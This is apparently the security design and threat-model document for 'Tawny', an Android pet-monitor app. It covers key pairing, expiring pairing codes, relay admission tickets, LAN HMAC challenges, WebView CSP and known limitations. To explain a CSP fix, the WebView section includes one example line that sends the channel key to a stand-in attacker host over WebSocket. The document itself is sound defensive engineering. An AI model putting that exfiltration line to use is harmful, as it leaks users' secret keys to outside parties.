Tawny is a two-way pet monitor built from three parts:
- a native Android shell (onboarding, QR pairing, the WebView host);
- a web client bundled in the APK that owns the WebRTC stack;
- the Monitor's embedded LAN relay (
LocalWeb.kt) and, for remote use, an optional rendezvous (rendezvous/, or theserver.jsreference).
Media is always peer-to-peer and DTLS-SRTP encrypted. No relay in any configuration sees a video frame or the channel key.
The feed is a live camera and microphone inside a home. The adversaries worth worrying about:
- someone else on the same Wi-Fi (a guest, a compromised IoT device);
- a malicious web page open in a browser on one of the phones;
- an app on the phone firing a crafted
tawny://pairlink; - for the remote path: whoever operates the rendezvous / TURN service, and anyone on the network path to it.
A channel is a name plus a 128-bit key generated on the device with a CSPRNG.
The key never leaves the device. Every relay is told only
sha256("tawny-room-v1|" + key) truncated to 32 hex — an opaque room id that
cannot be reversed to the key or the name, and cannot be enumerated.
Pairing carries the key in a QR / tawny://pair link:
tawny://pair?k=<key>&n=<name>&h=<lan-ip:port>&t=<ticket>&c=<code>&e=<expiry>.
his the Monitor's home-LAN address.PairLink.parseaccepts it only if it is an RFC1918 / link-local address; a public IP in a pairing link is dropped (and, if that leaves nothing to dial, the link is rejected).his omitted entirely when the Monitor has no Wi-Fi.tis a long-lived admission ticket for the rendezvous (below). It is a different thing fromc, with a different life.candeare the pairing code and its deadline — see the next section.- The in-app scanner joins immediately — the user aimed the camera on
purpose. Any externally-supplied link (
ACTION_VIEW, exported + BROWSABLE intent-filter) is gated by a "Connect to ''?" dialog that names the target and the network it would connect over (Wi-Fi or the internet — deliberately not the raw address) and warns when it would replace an existing pairing.handlePairLinknever acts silently.
A pairing code is a bearer credential: whoever photographs the QR, or is forwarded the link out of a chat app, holds the channel key. Ten minutes is how long that credential may be used to pair a new phone. It is not a session timeout — a phone that finished pairing inside the window keeps working afterwards, indefinitely, and is never asked to re-pair.
The awkward part of the rule is where it can possibly be enforced. Not by the bearer: the scanning phone can lie about its clock, or simply be an older build. Not by the relay either: an expired code hands a relay the same room id and the same admission ticket as a fresh one, so there is nothing there to tell them apart. The one party that knows when a code went on screen is the Monitor — and it is also the party that owns the camera and answers every offer, on the LAN and through the rendezvous alike. So:
- every code carries a random
cand its deadlinee; - the Monitor holds
cand rotates it every ten minutes by its own clock, redrawing the QR in place and telling the page (window.tawnyPairCode) which code now counts. The pairing sheet shows the remaining time in words, so a Monitor left sitting on that screen is never displaying a dead code; - a phone the Monitor has never admitted must present the
cthe Monitor is showing now, in itsoffer, beforeanswerPeerattaches a single track. Anything else — no code, a previous code, a code past its deadline, no code on the Monitor at all — is refused withbye {reason:'expired'}; - a phone the Monitor has admitted is remembered by a 128-bit
pidthe phone minted for itself (tawny.bond.<channel>, per channel, never derived from anything identifying, sent only to the paired Monitor). At most 8 are remembered per channel, and the list is dropped when the channel is deleted.
e in the link is a courtesy, not the enforcement: it lets the scanning phone
say "this code expired, get a fresh one" immediately rather than dialling into a
refusal, and the native shell shows the same screen whether the refusal came
from that pre-flight check or from the Monitor. Lying about it buys nothing.
Stated plainly: this bounds who can newly pair, not what a leaked key can eventually reach. Someone who photographs a live code and uses it inside those ten minutes is paired for good — as they are today — and someone who holds the key can still compute the room id and the ticket. Rotating a channel's key, which is what would actually revoke a leak, still means re-pairing every phone and is not what this does. What it removes is the standing risk of an old QR photograph, a screenshot in a chat thread, or a printed code on a fridge staying live for the life of the channel.
Every relay (LAN and hosted) uses the same addressed message set —
offer/answer/ice/bye/chime/chime-ack/talking/cameras/meta/camera-control/torch/battery
(RELAY in LocalWeb.kt and rendezvous/protocol.js), each requiring a to
naming a peer in the same room; the server stamps from. No broadcast primitive
exists.
On the hosted path (rendezvous/room.js, rendezvous/deno/main.ts,
server.js) a socket is not joined to the room or told about anyone until it has
sent {type:'hello'} and passed admission:
- the ticket rides in that first frame, not in the URL — query strings land in TLS-terminator access logs;
- a Viewer's hello must carry a
twhosesha256matches the ticket the Monitor registered. No matching ticket ⇒close(4008)(fail-closed on Cloudflare;server.jshonoursREQUIRE_TICKET, default on); - a Monitor's hello carries
hashT = sha256(t)and `a = sha256("tawny-auth-v1|"- key)
— a second hash of the channel key under a different domain separator, which proves the sender holds the key without revealing it and which the relay cannot derive from the room id. A room claimed with anaon file can only be re-keyed by a caller presenting that samea; anyone else is refused. The same proof lets a Monitor whose radio dropped reclaim its own room from the dead socket still on the books (the sitting station is closed with 4005) — without it, a caller that merely knows the room id gets 4004 and changes nothing. Rooms registered by builds predatinga` carry none, and there the 4004 on an occupied station slot is the only anti-squat guard.
- key)
- Ticket lifetime is bounded by two clocks. A ticket expires 24 h after the
last time it was used, and 30 days after it was first registered, whichever
comes first. The idle clock alone was not enough: a Monitor plugged in and left
alone — the product's whole premise — never re-sends its hello, so expiring the
ticket out from under it locked every new Handheld out with 4008. The relay
therefore rolls the idle clock forward while a Monitor is sitting in the room.
That roll-forward used to be unbounded, which meant that for the normal case the
ticket never expired at all. It is now capped by the 30-day ceiling, and a
Monitor reconnecting re-registers the same ticket without restarting that
ceiling — only re-pairing the channel (a different
hashT) starts a new lifetime. Reaching the ceiling means new Handhelds must be re-paired; sessions already connected are untouched, because the ticket is only read at admission. /turncredentials are issued only to a caller that presents a ticket valid for the room, and are rate-limited and origin-checked. They are short-lived (~1 h) but not otherwise room-scoped — Cloudflare Realtime TURN issues generic credentials — so the ticket gate + rate limit are what bound abuse.
The ticket is admission and abuse control only. It carries no key material and does not protect the media. A leaked ticket lets someone attempt to join the rendezvous room; it does not let them decrypt anything, and there is no per-Viewer revocation.
Admission used to be "you sent a well-formed room id", which was no admission at
all. The room id travels in the WebSocket URL over plain ws://, so anyone
sharing the Wi-Fi could read one off the wire, join the room, and be handed the
live camera and microphone. Worse, the client attached its rendezvous ticket
to that same cleartext hello — so a sniffer got (room id, ticket), which is
exactly what the internet relay admits a viewer on. Someone on your Wi-Fi could
become someone anywhere.
Now:
- Every socket is challenged with a fresh 16-byte nonce and must answer with
HMAC-SHA256(channel key, "tawny-lan-v1|" + nonce). The key never goes on the wire and a captured answer is worthless on the next connection. - A socket is not placed in a room, not counted against any cap, and not announced to anyone until it answers. Unanswered challenges are swept after 5 s, and are counted against the per-host cap so they cannot be used to sidestep it.
- The raw ticket is only ever sent on the TLS-protected cloud transport.
- Frames are capped at 64 KB at the protocol level (
Draft_6455), and the room map entry is created on admission rather than on connection — refused connections used to leave permanent empty rooms behind, walking the map towardMAX_ROOMS. - Caps:
MAX_ROOMS = 32,MAX_PER_IP = 8,MAX_PER_ROOM = 4(one Monitor plus the three Viewers the product allows),MAX_PENDING = 64.
The bundled asset server on 127.0.0.1 bounds its request line (8 KB), header
count (64), socket timeout (5 s) and thread pool — binding to loopback is not a
UID boundary, so any other app on the device with INTERNET can reach it.
- loads only bundled assets from
http://127.0.0.1:<port>— no remote web content, and a strict CSP is built into the WebView:default-src 'none'; script-src 'self'; …; connect-src 'self' ws://<this-session's-relay> wss://<rendezvous-host> https://<rendezvous-host>. Every source is an exact origin; no scheme-wide source appears. That distinction is the whole point: an earlier policy ended in a blankethttps:, and the fix for it left a blanketws:, which is the same hole in a different scheme —ws:with no host permitsnew WebSocket("ws://attacker.example/?k=" + key)to anywhere on the internet, so the channel key in localStorage was one injected script away from leaving the device. The relay origin is not known at build time, soAssetHttpServeris told it (ws://127.0.0.1:<port>on the Monitor,ws://<monitor-lan-ip>:<port>on a Handheld) before the page is served, and names it verbatim. The rendezvous side stays a list, never a wildcard — the build's own host, plus one an advanced user has set on the Servers screen, so a custom relay not on that list is blocked before it ever gets a socket andAssetHttpServeris rebuilt whenever the list changes. The page's own<meta>CSP carries a placeholder that is substituted with the same source list at serve time, so the two cannot drift; served unsubstituted it is an unknown source expression, which matches nothing and fails closed; onPermissionRequestgrants camera/mic capture only for that host and only what the OS has already granted the app;shouldOverrideUrlLoading/setDownloadListenerpass onlyhttp(s)toACTION_VIEW(intent://,file://blocked). Note: these checks compare the host and ignore the port, and theTawnyNativeJS interface itself is not origin-scoped (addJavascriptInterfaceexposes it to every frame). Neither is reachable today — the WebView loads only bundled first-party assets and has no iframes — but the controls are host-level, not true origin isolation.- cloud-backup rules exclude the prefs file (channel key + tickets), the WebView data directory and the diagnostics log; device-to-device transfer carries the prefs file only.
On the cloud path only (the LAN Monitor is the relay, so there is nothing
to check), both ends show a 6-character code derived from
HMAC(channelKey, "tawny-sas-v1" | sorted DTLS certificate fingerprints). The
fingerprints are read from getStats() — the negotiated certificate, not the
SDP text, so a relay cannot hide a real fingerprint behind a decoy
session-level a=fingerprint line. Because the channel key is mixed in and no
relay holds it, a relay that swapped certificates produces a different code
on each screen. If the code cannot be computed on a connection that is still
due its review (below), both ends show a "connection may be tampered with"
warning rather than proceeding silently.
One code per connection. The code is derived from the DTLS certificates of
one RTCPeerConnection, so a Monitor with three Handhelds on the cloud path has
three different codes at once. Each is held on its own peer record, never in a
shared slot: the Monitor's review card asks about one phone at a time (naming how
many are queued behind it), and answering "Disconnect it" drops that one
Handheld, not the session. The code is not shown anywhere else — there is no
persistent rail chip; a code that sat over the picture on every connection was
clutter the live screen did not need.
Reviewed once per monitor, on both ends. WebRTC mints a fresh DTLS
certificate for every RTCPeerConnection and the app persists none, so the code
legitimately differs on every call — it cannot degrade to "the same code as last
time". An earlier build re-showed it on every connect and warned that the code
had CHANGED whenever it failed to match, which from the second session onward was
every time; that false alarm only trained users to dismiss it. Now the review
card is shown once:
- on a Handheld, on its first cloud connection to a channel. "Looks right"
sets a per-channel
tawny.sasok.<id>flag inlocalStorage, and the card never returns on that phone for that channel; - on the Monitor, once per Handheld device — keyed by the
pidbond id the Handheld sends with every offer (tawny.sasok.<id>.<pid>). A new phone is asked about on its first cloud connection even on a channel whose other phones were vouched for; a Handheld that sends nopidis asked every time.
Both flags are cleared when the channel is deleted. The trade-off is explicit: once a phone has been reviewed, nothing more is surfaced for it — not a certificate swap on a later reconnect, and not a code that fails to compute at all. That last one used to keep raising the tamper warning on every affected call, but it fired on ordinary reconnect hiccups far more often than on attacks and taught users to ignore it; it is still written to the diagnostics log.
Limitations, stated plainly: the SAS assumes the user can compare two screens. On a genuinely remote session the user is not in the room with the Monitor, so there is only one screen to look at, and the check is weak there. Media is added and the answer is sent before the SAS is shown — it is an after-the-fact alarm, not a gate.
- A compromised rendezvous can attempt a certificate swap. The SAS detects it only if the user actually compares codes; on a one-screen remote session that is weak. The code is also reviewed only on a phone's first cloud connection, so a swap on any later reconnect of an already-vouched phone is not surfaced at all — not even when the code cannot be computed. This is the softest point of the remote path.
- Pairing codes are bearer credentials, for ten minutes. A code now stops admitting new phones ten minutes after the Monitor shows it (above), so an old photograph of a QR or a link left in a chat thread no longer pairs. Inside that window it still does: anyone who catches a live code is paired for good, because the channel key travels in it. There is still no per-Viewer revocation, and deleting the channel and re-pairing every phone is still the only way to undo a leak.
- The channel key lives in
localStorage(WebView DOM storage) and app prefs, unencrypted at rest. The CSP makes script injection hard but not impossible; the key is still readable by anyone with the unlocked device. - Peers learn each other's IP addresses — inherent to WebRTC. With TURN in
relaymode the peers see only the relay's address. - A LAN peer can still degrade the Monitor's relay — the per-IP cap bounds a single host to 8 sockets, but several cooperating hosts on the Wi-Fi could exhaust the pending-admission slots. DoS only, by someone already on your network, and they can no longer reach the camera.
- Rendezvous rate-limit / ticket state is in memory (Node reference) or per Durable Object (Cloudflare) / per isolate (Deno — pin one region). A restart clears the Node one.
- A custom relay is another operator in the threat model. The Servers screen
(behind the diagnostics hatch) lets an advanced user point the app at their
own rendezvous and TURN. Whoever runs that service gets exactly what the
operator of the built-in one gets, and no more: the opaque room id, the
admission ticket, and the ability to attempt a certificate swap that the SAS
is there to catch. It never sees the channel key or a video frame. Two
practical notes:
ws://is accepted for a relay on your own network and the save warns that the signalling is then readable on the path (the media stays DTLS-SRTP either way), and the relay is preferred, not substituted — if it will not answer, the session falls back to the built-in tunnel rather than losing the remote path — an availability choice, not a security one. - Node/Deno
server.jscan be run without tickets (REQUIRE_TICKET=off) for a LAN-style self-host; in that mode any viewer with the room id is admitted. - No audit log of who joined when, and no alert on a new device pairing.
- TURN depends on Cloudflare being up, and on a bandwidth allowance. TURN is
provisioned (Cloudflare Realtime):
/turnissues short-lived credentials to a caller holding a ticket valid for the room, so two peers both behind carrier-grade NAT now fall back to a relay instead of failing. Media through that relay is still DTLS-SRTP end to end — the relay forwards packets it cannot read, and stores nothing. The residual points are availability and cost, not confidentiality: a Cloudflare Realtime outage takes the relay path down with it (LAN and direct-P2P calls are unaffected), and the free tier covers 1 TB/month of relayed egress — roughly 1,400–2,000 hours of relayed video — after which it bills at $0.05/GB.turnMode:"auto"keeps the relay out of the path entirely whenever a direct one exists, so only the genuinely CGNAT-bound calls draw on it. - The Monitor's camera stops when its screen turns off. There is no foreground service. The app now detects the loss, tells viewers the monitor is paused rather than leaving a frozen frame up, and re-acquires on foreground — but an unattended Monitor must be kept awake.
Please report security vulnerabilities privately to tawnysupport@pm.me (also the contact on the Play Store listing). Do not file public issues for exploitable bugs. Include what you found, how to reproduce it, and which app and version; you will get a reply, and a fix before any details are published.